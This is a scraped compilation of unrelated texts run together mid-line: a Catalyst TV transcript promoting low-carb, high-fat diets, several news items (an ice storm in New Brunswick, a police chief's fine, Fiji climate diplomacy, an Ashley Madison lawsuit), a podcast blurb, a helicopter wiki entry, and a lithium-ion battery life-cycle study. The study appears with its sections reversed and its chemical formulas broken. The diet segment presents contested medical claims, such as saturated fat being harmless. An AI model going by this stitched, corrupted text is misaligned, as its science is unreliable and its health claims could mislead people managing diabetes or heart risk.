Not particularly. In Shane's case, the HDL cholesterol, the so-called good cholesterol, has gone up. The triglycerides, which I think are probably the most important component, they're carbohydrate-driven, and they have not surprisingly gone down significantly. So I think he's in much better situation now than he was prior to this diet.
Professor Tim Noakes
One of the great myths of heart disease theory is that you eat saturated fat and somehow miraculously goes from your gut and plugs your coronary arteries.
Dr Peter Brukner
Saturated fat is not bad for you, we know that now. There is ample evidence that saturated fat is not the bogey it used to be. It's a great source of energy.
NARRATION
In the last decade, the medical literature has cast out over the link between saturated fat and heart disease. Recently, this widely circulated article in Time magazine questioned the controversial science of saturated fat and those organisations that say it's unhealthy.
Dr Maryanne Demasi
We approached the National Heart Foundation for an interview, but they declined to comment on camera. Instead they issued a statement saying that they still recommend we reduce our saturated fat intake and replace it with unsaturated fats found in foods like nuts, oily fish and vegetable oils.
NARRATION
The Heart Foundation's Tick program recently came under fire for endorsing foods that are low in saturated fat but high in sugar, like Honey Cheerios. Now, 25 years on, the Foundation recently announced they're reviewing their Tick program. This comes shortly after the Canadian Heart and Stroke Foundation said they were scrapping their Tick program, their CEO admitting that public criticism played a role. Some nutritionists say these diets are too difficult to follow.
Associate Professor Tim Crowe
All diets fail because they're prescriptive and they go against our normal eating habits. And the more restrictive they are, the harder they are to follow. It's really hard to give up bread, pasta, rice, things we really love. That's what you have to say goodbye to in a low-carb diet. So most people, eventually they will start reverting back to their old lifestyles and they will be back to square one, ready to soak up the next fad diet that comes along.
NARRATION
Pete earns a living by sharing his passion for low-carb recipes.
Pete Evans
What we've got here is a basic spaghetti Bolognese without the pasta. We used zucchini instead. And the Bolognese itself is full of nose-to-tail, basically. We've got some marrow in there, we've got some liver, we've got a little bit of heart and of course some beef mince from grass-fed cattle.
Professor Tim Noakes
And it tastes so good because it's so nutrient-dense. 'Cause, you know, people are always fighting this argument that food like this, because it doesn't contain grains, must be nutrient deficient. Because it has liver in it, it would be far more nutrient-dense than anything that was grain-based.
Dr Maryanne Demasi
Now, we know there's no one-size-fits-all approach when it comes to diet. However there is scientific evidence to suggest that a large proportion of the population with obesity or diabetes would benefit from restricting carbohydrates.
Dr Peter Brukner
These people don't metabolise carbohydrates well. That's what diabetes is, it's a failure to metabolise carbohydrates. Yet we've traditionally given these people high-carbohydrate diets. I mean, it just does not make any sense at all. I think both in the treatment but also in the prevention of type 2 diabetes. If we reduced the amount of carbohydrates in out diet, we will have a massive impact on type 2 diabetes, which is in epidemic forms.
Dr Steve Phinney
If somebody has lactose intolerance, they don't tolerate milk sugar, we tell them not to drink fresh milk. So if people don't tolerate carbohydrates, why shouldn't we tell them to reduce their carbohydrate intake to the level where it no longer causes them problems? This diet is really not necessarily for everyone, because there are many people who can handle the carbohydrates. It's only some people with insulin resistance and diabetes for whom it's an immediate problem and for whom they get immediate benefits.
Gabrielle Brunsdon
When I was told by the doctor that my blood sugar levels were really, really high at 14.7 fasting, that I would need a specialist for my liver, it was that moment that I felt my life was out of control.
NARRATION
Gabrielle sought the help of Melbourne GP Dr Zeeshan Arain to manage her type 2 diabetes.
Dr Zeeshan Arain
When Gabrielle first came in, she was very keen not to have medication and to try and reverse this or manage it as best she could with lifestyle measures. So I offered her the opportunity to go on a well-formulated low carbohydrate-high fat diet.
Dr Maryanne Demasi
What exactly did you instruct Gabrielle to eat?
Dr Zeeshan Arain
Basically I was quite prescriptive in what I told her. I said I want you to eat plenty of natural fats, so cook in butter, coconut oil, use olive oil. Don't go for the lean meat, go for the fatty cuts, lot of egg, dairy if you can tolerate it, but more so the high-fat dairy. So double cream, butter...
Dr Maryanne Demasi
All those things we're told not to eat.
Dr Zeeshan Arain
That's right.
NARRATION
Under strict supervision, Gabrielle dramatically changed her diet. She stopped eating carbs from processed foods and began upping her fat intake.
Gabrielle Brunsdon
For the first 12 weeks, it was a very, very simple way of eating with vegetables. There was no fruit whatsoever because my sugar levels were really, really high of course. And meat. There was meat in there as well. It's wonderful not being hungry.
Dr Maryanne Demasi
No cravings?
Gabrielle Brunsdon
No hunger. There's no hunger.
Dr Zeeshan Arain
Over the last four or five months, when we tested her results, we found her to have not only a 10kg weight loss, but the most impressive indicator to me was her HbA1c, which is that long-term measurement, had gone down to 5.4, which is what the normal population would have that's not diabetic. The size of her liver, which was enlarged, 23cm, has gone down to 15, which is normal.
Dr Maryanne Demasi
My goodness, you must have been pleased with those results.
Dr Zeeshan Arain
Oh, fantastic.
Melanie McGrice
I don't believe that everybody with diabetes should automatically be going on to a low carbohydrate diet. People who have medical conditions such as diabetes, really should be going and seeing their accredited practising dietician for that personally tailored advice because people don't just come with diabetes, they come with a whole range of different, other medical conditions. They come from different backgrounds, they have different lifestyles.
NARRATION
Although treatment for diabetes should be tailored for the individual, endocrinologist Professor Katherine Samaras believes restricting carbohydrates and lowering calories is key for diabetics.
Professor Katherine Samaras
In my view, it seems counterintuitive to be asking people who have a deficiency in insulin and inability to produce enough insulin, or require medications to help them make insulin, to be eating so much carbohydrate. A meal that's relatively high in carbohydrate can often produce very high glucose levels and this is a problem.
NARRATION
Professor Samaras has been working with the Federal Government to lower the carbohydrate level of hospital food.
Professor Katherine Samaras
So this is what the average patient with diabetes in hospital today would have had for breakfast. Cereal, one slice of bread, the little bit of jam for that, some fruit and little bit of milk to put on their cereal. But what that amounts to when you actually calculate the carbohydrate content is equivalent to 14 teaspoons of sugar.
Dr Maryanne Demasi
So what changes do you want to see implemented in this kind of diet?
Professor Katherine Samaras
An alternative is to give people two slices of bread and an egg. It only has half the amount of total carbohydrate. So 7 teaspoon equivalents of carbohydrate versus 14. We know that if you have high glucose levels in hospital, you have worse outcomes and higher mortality and longer length of stay. All of these cost the community, they cost the families, they cost the Department of Health. We can simply improve that by just improving glucose control in hospital, and it seems obvious to all of us that changing diet is a fundamental path of improving the outcomes of people with diabetes.
Dr Maryanne Demasi
What's wrong with replacing these carbohydrates with low GI carbohydrates?
Professor Katherine Samaras
Low GI carbohydrates just refer to how quickly the glucose is released into the bloodstream. But the load, the total amount of carbohydrates, still has to be dealt with. In diabetes research, we're understanding more and more that you can wear out the pancreas by getting it to work extra hard. And so, in that regard, the load of the carbohydrate actually counts. The GI may actually just blunt the glucose excursion after people eat. But it's still asking the pancreas to work extra hard. And so lowering the GI doesn't necessarily make the best outcomes.
NARRATION
At this conference in Melbourne, health professionals gather to discuss the science behind a low-carb diet.
Dr Caryn Zinn
There are round about 27-28 randomised control trials and the low carb-high fat out-performs the low fat way of eating.
Dr Troy Stapleton
We know we're not doing very well with our current dietary recommendations for diabetes.
Ron Raab, OAM
If you wanted to design a regime, a diet, that produced the worst outcomes in type 1 diabetes, you have the current recommendations. There's new paradigms around. You find there's resistance, there's head in the sand. I mean, after all, people like me have been telling them what they'd been preaching for 30, 40 years was wrong.
NARRATION
A critical review of the literature suggested that low-carb diets should be the first treatment option in diabetes because of the consistently good control of blood glucose and the reduction, or elimination, of diabetes medication. Diabetes Australia is an organisation that supports people with diabetes. But some question their dietary advice to patients. They recommend low-fat meals based on high-fibre carbohydrate foods like breads and cereals, the very foods that raise blood sugar levels. Diabetes Australia declined to comment on camera, but issued a statement saying, 'The public discussion about diabetes should not be about 'diets'. There is no general diet and we should aim to have individualised, tailored advice' for people with diabetes.
Professor Katherine Samaras
The diet recommendations for people with diabetes are really quite old hat, and they haven't been revised or thought through well enough, given that we also have an epidemic of obesity that we're having to deal with. In the United States, the recent recommendations for people with diabetes actually promote a lower carbohydrate intake. I think we should be looking at that and adopting some of those philosophies and asking our patients to restrict their carbohydrate.
Dr Maryanne Demasi
So what would you say to people who think this is just a fad diet?
Shane Watson
I'd just say try it and see how much difference it makes to your life.
Dr Peter Brukner
To me 'fad' means non-scientific and there is plenty of science out there. Ultimately I have faith that my profession is a science and they will see the science and eventually come around to this way of thinking.
Melanie McGrice
I think it doesn't matter which side of the fence you're sitting on, whether you're going to be following a low carbohydrate diet or a higher carbohydrate diet, one of the key message everybody agrees with is the fact that we should be following a diet that has non-processed foods and lots of whole foods.
NB *Catalyst has removed the comment from Pete Evans where he describes coconut oil as a source of'monounsaturated fat.
Coconut oil is predominantly saturated fat, it contains only a small amount of monounsaturated fat.
Reporter: Dr Maryanne Demasi
Producer: Dr Maryanne Demasi and Claire Smith
Researcher: Dr Maryanne Demasi and Claire Smith
Camera: Micah Walker
Kevin May
Daniel Shaw
Mark Leonardi
Andy Topp
Tony Connors
Additional Camera: Maurice Branscombe
Kevin May Daniel Shaw Mark Leonardi Andy Topp Tony Connors Additional Camera: Maurice Branscombe Sound: Chris Gillette
Martin Harrington
Spiros Mavrangelos
Stuart Thorne
Tim Parratt
Mark Tarpey
Martin Harrington Spiros Mavrangelos Stuart Thorne Tim Parratt Mark Tarpey Editor: Meredith Hopes
Danielle Akayan
Related Info
Restricting carbs as first approach to treating T2 Diabetes Feinman et al
Low Carb Diet for Weight Loss and Diabetes - Unwin 2014
Low-carbohydrate diets for athletes: What evidence? Noakes, Phinney, Volek 2014
Saturated fat and heart disease - American Journal of Clinical Nutrition
Busting the myth of saturated fat in heart disease British Medical Journal 2013
Catalyst: Toxic Sugar?
Blog: My six-week ketogenic experiment
^ topOttawa will not ask New Brunswick to pay for bringing in the military during the ice storm that began ravaging the province in late January.
A spokesperson for the Department of National Defence told CBC News the cost of the operation was $185,300.
About 200 Armed Forces members were deployed to the Acadian Peninsula, along with staff and equipment from the Defence Department, to provide maintenance and support after the storm brought regular life to a halt in some areas.
The province says the request for assistance by the Minister of Justice and Public Safety, was made after "confirmation by the Canadian Armed Forces reconnaissance party, and with the support of the premier and Cabinet."
Troops arrived on Jan. 30, and spent about a week helping ice storm victims, delivering emergency supplies such as water and wood, helping to clear roads of debris and checking door-to-door on the well-being of residents.
According to the province, the presence of the military raised morale among the citizens and emergency officials.
Presence'reassured' public
A consultant report prepared for New Brunswick's Emergency Measures Organization concluded that while the military help was appreciated, in the end it was unnecessary.
During this same period, the report said Premier Brian Gallant's presence drew on emergency measures resources during the crisis.
"There was a public perception that the military should be involved and their deployment went a long way to reassure the public," Jim Bruce of Jim Bruce Security and Emergency Management Services said in his 25-page report.
"However... there were no planned tasks for them when they arrived on site."
The military took on several tasks after the storm, including providing supplies to ice storm victims. (CBC)
Bruce said emergency measures and NB Power staff were unaware the military was coming and had no idea how the help should be employed.
Military engineers assigned to assist with power restoration could not be employed in that role for safety reasons, he said.
Bruce recommended that elected officials and emergency management network be educated on the use of military resources.
Part of department's budget
The Gallant government made a request for assistance on Jan. 27 and a reconnaissance was conducted to determine how troops could help.
The Department of National Defence said it has absorbed the costs of the operation in the defence budget.
Although requests are assessed on a case-by-case basis, the department said, it has not sought cost reimbursement from provinces and territories that have requested assistance with natural disasters in the past 10 years.Technically Incorrect offers a slightly twisted take on the tech that's taken over our lives.
Enlarge Image David Bires/Facebook screenshot by Chris Matyszczyk/CNET
He wasn't exactly caught red-handed.
It was worse than that. He was publicly shamed.
Yet he reacted in a way that not everyone exposed to the world -- or at least to part of Central Florida -- would have reacted.
For here was a Florida police chief whose SUV was shown parked on a sidewalk in a Facebook post.
An image of Groveland Police Chief Melvin Tennyson's SUV was posted to Facebook on Tuesday by concerned citizen David Bires.
Accompanying the picture, Bires wrote: "Groveland police department is handing out tickets to people who park their vehicles in there own driveway if they block the sidewalk, $40.00 tickets are issued, but when the chief of police block sidewalks it's OK? Share this post."
People did share it. So much so that it wound up on the desk of Tennyson himself, thanks to one of his sergeants.
Did he smirk? We may never know. Did he ululate in pain at his own inattention? We may never know that either. Tennyson didn't immediately reply to a request for comment.
What we do know, however, is that Tennyson paid the fine. He told Fox 35, "I handed over my credit card."
The Groveland Police Department even posted a copy of the chief's receipt to Facebook.
Bires isn't convinced that the chief's intentions were pure. He told Fox 35 that he believes he paid the fine to "cover his butt" after the Facebook shaming.
Many, though, will admire Tennyson's honorable act.
One or two might sniff that it would be more uplifting if, when certain police officers are presented on social media as behaving poorly, the reaction might be equally honorable.Fiji, due to lead global talks on climate change, has warned that rising sea levels threaten New York and Miami and urged United States President Donald Trump to “stay in the canoe” alongside other nations in the fight against global warming.
Prime Minister Frank Bainimarama said he hoped to form a “grand coalition” including governments, scientists and companies to protect the United Nations sponsored 2015 Paris Agreement, aimed at limiting greenhouse gas emissions, despite President Trump’s threats to pull out.
Reuters Newsagency reports a melt of glaciers from Greenland to Antarctica is pouring ever more water into the oceans, which have already risen by about 20 cemtimetres in the past century.
“No one, no matter who they are or where they live, will ultimately escape the impact of climate change,” he told delegates at the end of two-week negotiations by senior officials in Bonn on a “rule book” for the Paris Agreement.
He said “cities in the developed world such as Miami, New York, Venice or Rotterdam” were as vulnerable to rising seas as low-lying nations around the world, such as Fiji in the Pacific.
Reuters reports President Trump has homes in both New York and Florida.
Fiji will preside at annual ministerial climate talks among almost 200 nations in November to promote the Paris Agreement, which seeks to move the world away from fossil fuel use this century.
The talks will be held in Bonn, rather than Fiji, which lacks facilities for a conference of 20,000 people.
Fiji’s ambassador for climate change, Nazhat Shameem Khan, added to calls by nations including China and India as well as the European Union for Washington to remain in the Paris Agreement rather than pull out.
President Trump has expressed doubts that climate change is man-made and made a campaign pledge to “cancel” the deal and instead promote the coal industry.
He said he would make a decision after returning from a Group of Seven summit on May 26-27.
“We hope we will all stay, as we say in the Pacific, in the same canoe, going in the same direction and paddling at the same speed,” Ms Khan told Reuters. “It would be the best possible solution if President Trump stays in the canoe.”
Fiji was considering encouraging coastal cities in both developed and developing nations to team up to share planning for rising seas.
“Conversations between cities would be very valuable,” she said.
The Bonn meeting, the first UN negotiations since President Trump took office, worked on issues such as how nations will monitor their greenhouse gas emissions and how to track promises of climate finance for the poor.
“Uncertainty over President Trump’s decision on the Paris Agreement did not deter delegates here in Bonn, but instead galvanised their resolve to move ahead with climate action,” Greenpeace climate adviser Li Shuo said.
Germany said it would provide €70 million to fund Fiji’s meeting.
The negotiations also approved a draft 2018-19 budget for the UN climate change secretariat despite uncertainties about the U.S. contribution.
The Paris Agreement rulebook is due to be agreed in 2018.On September 22, 2013 by Jason Rechtman and Jose Angel Salado
Listeners, unite up! In this episode of the Random Nintendo Podcast, we share impressions of Platinum Games’ action-packed Wii U title, The Wonderful 101, as well as the eShop’s Art Academy: SketchPad. But before we save the world, there’s plenty of news to discuss, including Wii Fit U and the return of Wii Sports, fresh Pokemon X & Y details, and a bevy of third party games. We then focus on the business side of the industry with thoughts on Sega buying Atlus and a look at August’s sales numbers. Plus, we pay tribute to former Nintendo president Hiroshi Yamauchi.
Have you tried The Wonderful 101? Let us know what you think of the game or the podcast as a whole by leaving a comment below! Be sure to also subscribe to the podcast on iTunes and follow us on Twitter @RandomNintendo so you don’t miss any future site updates.
As always, we have included links below for more information on the news and games discussed in this episode. Each link also lists a time stamp, letting you know exactly where to find the segments of the show that most interest you. Enjoy!
GamesA class-action lawsuit has been filed against AshleyMadison.com, the dating website for marrieds, on behalf of all Canadians subscribed to the service who had their personal information leaked this week in an online data dump as a result of a controversial hack.
Law firms Charney Lawyers and Sutts, Strosberg LLP have filed the lawsuit against Avid Dating Life, Inc. and Avid Life Media, Inc., the corporations who run the website, and are seeking $750 million in general damages and $10 million in punitive damages.
The plaintiff in the lawsuit is Eliot Shore, an Ottawa widower who joined the dating service “for a short time in search of companionship” but, according to the lawsuit press release, never went on a date.
“Presently, we have well over a dozen additional people we are in communication with about being involved,” said David Robins, a partner with Sutts, Strober LLP.
It’s too early to tell if the case could be headed for a trial or settlement, according to Robins, but the team is hoping to make a statement.
“Our clients are looking for compensation and access to justice for all affected,” said Robins. “Another major aspect of this is behaviour modification; (our clients) went to this website being promised anonymity and confidentiality, but their privacy has been violated. Corporations need to be accountable for what’s happened so that others can follow.”Elvis is the nickname of Erickson S-64 Air-Crane, tail number OB-2081-P (N179AC), which has gained fame in Australia as a highly visible and valuable tool in bushfire suppression.[1] The helicopter, which can hold 9,500 litres (2,500 US gal) of water or foam mix, has been brought out by the Victorian Government from the United States for each fire season since 2001-2002. The aircraft obtained its nickname due to the time that it spent working for the United States National Guard in Memphis, where singer Elvis Presley lived for most of his life.[2]
Erickson Air-Crane helitankers were first brought out to Victoria in December 1997. The first one, dubbed by locals as "Eric the Water Bomber" (N223AC), was used to fight a fire in Frankston and the Caledonia fire in the Alpine National Park, and was brought out again for subsequent fire seasons up to 2000-2001.[3] On December 27, 2001 "Elvis", which had arrived in Melbourne, was immediately deployed to Bankstown, New South Wales to help with fire fighting efforts in the Sydney region and was lauded for its role in helping to save almost 300 homes.[2] It was also credited with helping save the lives of 14 firemen in the Burragorang Valley in New South Wales.[4]
Two other Aircranes, "Georgia Peach" (N154AC) and "Incredible Hulk" (N164AC), were rushed out from the U.S.A on board a Russian Antonov An-124 air freighter to assist with the 2001-2002 Sydney bushfires following the successful deployment of "Elvis".[5][6]
A number of other Aircranes and Skycranes have subsequently been brought out to Australia for each bushfire season and based in Western Australia, Victoria, New South Wales and the Australian Capital Territory.[7]
Elvis has also lifted transmission towers in Alberta, Canada, portrayed in the 2014 TV documentary Rise of the Machines.[8][9]
Aircrane (AC) and Skycrane (HT) deployments in Australia [ edit ]
1997–1998 Victoria: " Millie " (N223AC)
" (N223AC) 2001–2002 Victoria: " Elvis " (N179AC); New South Wales: " Georgia Peach " (N154AC) & " Incredible Hulk " (N164AC)
" (N179AC); New South Wales: " " (N154AC) & " " (N164AC) 2002–2003 Victoria: " Elvis " (N179AC); New South Wales: " Georgia Peach " (N154AC) & " Incredible Hulk " (N164AC) [10] and " Isabelle " (N178AC) and " Gypsy Lady " (N189AC). [11]
" (N179AC); New South Wales: " " (N154AC) & " " (N164AC) and " " (N178AC) and " " (N189AC). 2003–2004 Victoria: " Elvis " (N179AC); New South Wales: " Isabelle " (N178AC)
" (N179AC); New South Wales: " " (N178AC) 2004–2005 Victoria: " Elvis " (N179AC); New South Wales: " Rocky " (N722HT) [12]
" (N179AC); New South Wales: " " (N722HT) 2006–2007 Victoria: " Elvis " (N179AC) & " Malcolm " (N217AC); [13] New South Wales: " Shania " (N720HT); [14] Australian Capital Territory: " Delilah " (N194AC)
" (N179AC) & " " (N217AC); New South Wales: " " (N720HT); Australian Capital Territory: " " (N194AC) 2007–2008 Victoria: " Elvis " (N179AC) & " Elsie " (N218AC); [15] New South Wales: " Shania " (N720HT); [16] Australian Capital Territory, South Australia and Tasmania (shared): " Incredible Hulk " [17] [18]
" (N179AC) & " " (N218AC); New South Wales: " " (N720HT); Australian Capital Territory, South Australia and Tasmania (shared): " " 200 |
4 compared to the also widely used active material Li(Mn (1/3) Ni (1/3) Co (1/3) )O 2 and LiFeO 4. While the scenario with the active material containing nickel and cobalt results in an increase in environmental burden of 12.8% for the battery, LiFeO 4 as cathode material decreases the impact for 1.9%. The difference on the level of transport service is much smaller (Li(Mn (1/3) Ni (1/3) Co (1/3) )O 2, +2.0%; LiFeO 4, −0.30%).
A closer look at the damage categories of the EI99 H/A indicates that the production of a Li-ion battery predominantly causes damage to human health (44%) and resource quality (39%), whereas the quality of ecosystems is affected less (17%). Inorganic emissions affecting the respiratory system, such as PM, SO, NO, etc., cause the highest impact, followed by the use of fossil fuels and minerals (for detailed information see Supporting Information Figure S2).
The cathode causes a higher GWP, CED, or ADP than the anode. The collector of the cathode, made of aluminum foil, has a higher share of the environmental burdens than the active material throughout all impact assessment methods. All other components (binder, carbon black, energy use, etc.) cause a very small environmental burden for the production of the cathode.
Concerning EI99 H/A, the production of the anode generates the highest impact, while CED, GWP, and ADP show the highest impact for the production of the cathode. Copper in the anode is needed as collector foil, which has a share of 43% (EI99 H/A) of the environmental burden of the Li-ion battery. Copper used in other components (e.g., cables) comes in addition. Graphite and all other components of the anode only have a small impact. The results for the anode look different when assessed with the ADP, CED,or GWP. The anode has a much smaller share on the total impact of the battery. Within the anode, graphite shows a higher environmental burden than copper, at least when assessed with ADP and CED.
Figure 3. Environmental burden of the main components of the Li-ion battery and the electrodes expressed with Ecoindicator 99 H/A (EI99 H/A), cumulated energy demand (CED), global warming potential (GWP), and abiotic depletion potential (ADP). Components of the anode (C. Ano), components of the cathode (C. Cat). Absolute values are provided in the Supporting Information.
The production of the Li-ion battery is dominated by the production of the anode, the cathode and the battery pack (Figure 3 ). Single cell, separator, lithium salt, and solvent play a minor role. In addition to its cells, the battery pack contains a steel box, cables, and the printed wiring board. These components cause a relatively high share of more than 20% throughout all impact assessment methods.
PM-, NO-, and SO-emissions caused by E-mobility (PM100%, 16.2 kg; NO100%, 49.5 kg; SO100%, 83.7 kg) are higher compared to mobility with an ICEV (PM79.0%, 12.8 kg; NO87.9%, 43.5 kg; SO74.7%, 62.5 kg; Supporting Information Figure S1 and Table S20). All these emissions result mainly from operation independently of the vehicle type. The production of the battery, the glider, and the drivetrain also emits considerable amounts of PM, NO, and SO
There are no differences between ICEV and BEV with respect to the environmental burden related to road use (infrastructure, maintenance, and disposal) and the glider. Small differences are related to the drivetrain, maintenance, and disposal of the car. The main difference is reflected in the operation phase, which rises far above the impact of the battery. Operation obviously dominates the LCA of both E-mobility and mobility with an ICEV, while it is distinctly higher for mobility with an ICEV.
Figure 2. Shares correlating with the components of an internal combustion engine car (ICEV, value in % of the BEV) and an electric battery powered car (BEV, the BEV is set as 100%) assessed with four impact assessment methods: abiotic depletion potential (ADP), nonrenewable cumulated energy demand (CED), global warming potential (GWP), and Ecoindicator 99 H/A (EI99 H/A). Road includes construction, maintenance, and end of life treatment (EOL). The absolute values of the components are provided in the Supporting Information.
The Li-ion battery plays a minor role regarding the environmental burdens of E-mobility irrespective of the impact assessment method used. Transport services with an ICEV cause higher environmental burdens than with a BEV (ADP, + 37.47% or 261 kg antimony equivalents; GWP, + 55.3% or 37,700 kg COequivalents; CED, +23.5% or 593,000 MJ-equivalents; EI99 H/A, +61.6% or 2530 points; Figure 2 ). The share of the total environmental impact of E-mobility caused by the battery is between 7 (CED) and 15% (EI99 H/A). Analysis with EI99 H/A showed a relative share of E-mobility caused by the battery that is twice as high as analysis with the other impact assessment methods, and this is mainly at the expense of the operation phase.
The electric car represented in this LCI was derived from the existing Golf LCI (34). The glider (chassis, car body parts, wheels, interiors, safety devices, acclimatization devices) remained unaltered, but the drivetrain was replaced by an electric drivetrain (composed of the electric power control, an electric motor and the transmission) and by a Li-ion battery (see Scheme S1 for Supporting Information ). The use of the car takes into account electricity consumption and all infrastructures needed (vehicle, road and electricity network) including EOL treatment. The data set for a new efficient gasoline passenger car with reduced fuel consumption (Euro 5 standard) based on the ecoinvent Database was used as a reference.
Cathode, separator, and anode are calendared, slit to size, winded, and packed to a single cell in a polyethylene envelope. In an inert atmosphere, the electrolyte (LiPFdissolved in C) is added to the electrode (26). Finally, single cells, the battery management system and cables are assembled in a steel box.
The production of the cathode and anode requires the mixture of a few components (binder and solvent, black carbon, LiMnand graphite respectively) in a ball mill to a slurry (26, 30), followed by coating the collector foil (aluminum and copper respectively) with the slurry. The binder (modified styrene butadiene copolymer (31) ) is water-soluble and has the advantage that no organic solvent is needed. For the production of the separator, a porous polyethylene film is coated with a slurry consisting of a copolymer, dibutyl phthalate and silica dissolved in acetone (32). Thermal heat energy for anode, cathode and separator is used to heat up the slurry to 130 °C, to evaporate the solvent and to completely dehumidify the components of the electrode in a dry channel (HO content <20 ppm) (33)
Base materials for the electrolyte are an organic solvent, typically ethylene carbonate (C (25), and the electrolytic salt, typically lithium hexafluorophosphate (LiPF (26). For the production of the LiPF, lithium fluoride (LiF) is manufactured with a reaction of LiCOand hydrogen fluoride at room temperature. The filtrate is titrated with ammonia (pH 7.5), washed with water, and dried (27). Phosphorus pentachloride (PCl (28) and LiF are then combined in an autoclave and cooled down to −78 °C. Thereafter, hydrogen fluoride is added in excess for complete chlorine-fluorine exchange in PCl (29). The reaction in the autoclave occurs in an inert nitrogen atmosphere.
Manganese oxide (Mn) is produced by a two stage roasting process whereby manganese carbonate is roasted in an atmosphere low in oxygen content, followed by roasting in an atmosphere high in oxygen content (24). Subsequently, lithium manganese oxide (LiMn) is made from Mnand LiCOby means of several roasting stages in a rotary kiln (3). During the different stages, the atmosphere in the rotary kiln changes from an inert (addition of N) to an oxidizing (addition of O) condition. The powder is then suspended with water followed by spray drying (evaporation of the water).
The production of concentrated lithium brine includes inspissations of lithium containing brine by solar energy in the desert of Atacama. Diesel fuel is required for pumping the brine (22) between different basins. The concentrated lithium brine is further treated with additives for the removal of boron, followed by a purification step. Finally, the addition of soda for carbonation results in the precipitation of lithium carbonate (LiCO). The salt is filtered, washed and dried which results in a purity of 99% or higher (23)
Figure 1 depicts the production steps required for the Li-ion battery ranging from the extraction of lithium and the electrode production to the battery pack, the components of the electric vehicle, and the mobility with the electric vehicle. The dashed line refers to the functional unit chosen for this study. For all productions steps, the required thermal and electrical energy to produce a 1 kg Li-ion battery is quoted. The mass used for the calculation are based on a Kokam battery (21) and the cathode material is assumed to be LiMn. Detailed input−output tables for all gray boxes and the assumptions for transport distances, infrastructure, and electricity mixes are provided in the Supporting Information
The environmental burdens are expressed as global warming potential (GWP) applying a time frame of 100 years (16), the cumulative energy demand (CED) of which only the nonrenewable (fossil fuel and nuclear) are disclosed (17) and the Ecoindicator 99 using the hierarchic perspective and an average weighting (EI99 H/A) (18). Resource depletion is indicated as abiotic depletion potential (ADP), one of the impact categories in the CML method (19, 20). All impact assessment methods are used as implemented in the ecoinvent database version 2.01. The first two indicators were chosen for their broad acceptance and relevance in decision making. The EI99 H/A was chosen since the other indicators are almost exclusively energy driven and exclude (toxic) effects on human health and ecosystems, as well as damage to resource quality. ADP was evaluated to include the use of resources, especially metals. Apart from the impact assessment results, we also present cumulative particulate matter (PM), SO, and NOemissions, since these indicators are widely used in discussions on environmental issues of mobility.
In line with this principle, end-of-life (EOL) products that are being recycled are not allocated any expenditure from their production. Thus, all the burdens from material production are allocated to the first life of a product even though the product might even be reused (e.g., after 5 years in a vehicle the batteries might be used in stationary applications).
Allocation of the inputs and output flows to the various products is a critical issue in LCA studies because the choice of allocation principles can predetermine the outcome of the LCA. Thus, it is very important that allocation procedures are in line with the goal of the study (15). Since a present study aimed to determine the potential contribution of batteries to the overall burdens of mobility, allocation in the foreground system was chosen in such a way as to result in the highest possible environmental burdens for the battery. Thus, all expenditures for the exploitation of the lithium salts were allocated to the lithium salts, even though the saline brine yields other byproduct as well.
A new efficient gasoline car (Euro 5 standard (12) ) was chosen as a basis for comparison. This ICEV consumes 5.2 L of gasoline per 100 km in the NEDC, resulting in a direct emission of 0.12 kg COper km (13). The car chosen was representative of neither the European fleet nor the fleet of new cars sold in Europe in 2009: 51.4% of the latter consists of diesel fuel cars with an average fuel consumption of 5.7 L/100 km diesel or 6.6 L/100 km gasoline (calculated from COemissions reported in ref 14 ). However, the ICEV was chosen to represent a technological level similar to that of the BEV.
The average electricity production mix (UCTE) in Europe (11) was chosen for the operation of the BEVs in agreement with the criteria used in the rest of the study and in the ecoinvent database. The environmental burden for the operation of BEV depended mainly on the choice of electricity production. This was tested by replacing the UCTE-mix with electricity from hard coal and hydropower. It is important to state that neither the vehicle nor the battery was meant to represent specific products but rather a technically sensible option.
The vehicle we studied was comparable to a Volkswagen Golf in size and power, had a range of around 200 km per charge (battery weight, 300 kg; battery capacity, 0.114 kWh/kg battery (10) ) and an assumed lifetime of 150 000 km. These assumptions were tested with a sensitivity analysis for an extension of vehicle life to 240 000 km. In this case the BEV would require a battery replacement. The energy consumption of the electric vehicle’s operation was estimated based on existing vehicles and theoretical considerations (for details see Supporting Information ); 14.1 kWh of electric energy is needed per 100 km to propel a Golf-class vehicle with an overall efficiency of 80% (including charging losses and recuperation gains) in a standard driving cycle (New European Driving Cycle, NEDC). Heating, cooling, and electronic devices consume 2.9 kWh/100 km (for details see Supporting Information ). The BEV thus required a total of 17 kWh/100 km. The influence of energy consumption on the environmental burden was tested by varying energy demand by ±20%.
We chose to model a LiMnbattery since it seems reasonable to assume that manganese will in the near future be substituted for the nickel and cobalt commonly used in many of today’s batteries because of the much lower price, and better availability of manganese. Calculations were done on different cathode materials containing nickel, cobalt or iron-phosphate in order to check the sensitivity of the results. Details on the production of the battery and its components are given in the paragraph below headed Description of Unit Processes
This study analyzes the use of lithium-ion batteries in electric vehicles as an environmentally viable option and evaluates whether the burdens related to the battery are likely to offset the benefits related to the electric drivetrain. For this end it is necessary to model electric mobility (E-mobility) including the vehicle’s production, use and disposal with a strong focus on the Li-ion battery. The functional unit is chosen as one average kilometer driven by a vehicle with electric drivetrain and Li-ion batteries on the European road network. The corresponding reference flow is one vehicle-kilometer. The study encompasses a cradle-to-grave system without predefined cutoff limits. Materials and processes are only neglected when their contribution to the potential environmental burdens is considered negligible based on a combination of mass, energy demand, and expected burdens per mass or energy unit. LCI data for the battery production and for the production and use of an electric vehicle are compiled specifically for this study (see Figure 1 ), while LCI data for the materials and processes in the background system are taken from the ecoinvent database version 2.01.
LCA is an established but still evolving method primarily designed for accounting for and assessing the potential environmental impacts caused by products, processes, or activities (9). LCA aspires to quantify and evaluate the energy and material flows used in all stages of a product’s lifetime and the associated wastes and emissions released to the environment. LCA is based on a perspective called the functional unit. This is especially important when competing products are analyzed to allow for comparative assessment.
Discussion
The main finding of this study is that the impact of a Li-ion battery used in BEVs for transport service is relatively small. In contrast, it is the operation phase that remains the dominant contributor to the environmental burden caused by transport service as long as the electricity for the BEV is not produced by renewable hydropower. This finding is in good accordance with other studies showing that the impact of operation dominates in transport service (35, 36). In these studies, infrastructure, maintenance, and service have minor shares of the environmental impact imposed by transport services. We found the same pattern for the environmental burden of the different components to transport service (Figure 2 ).
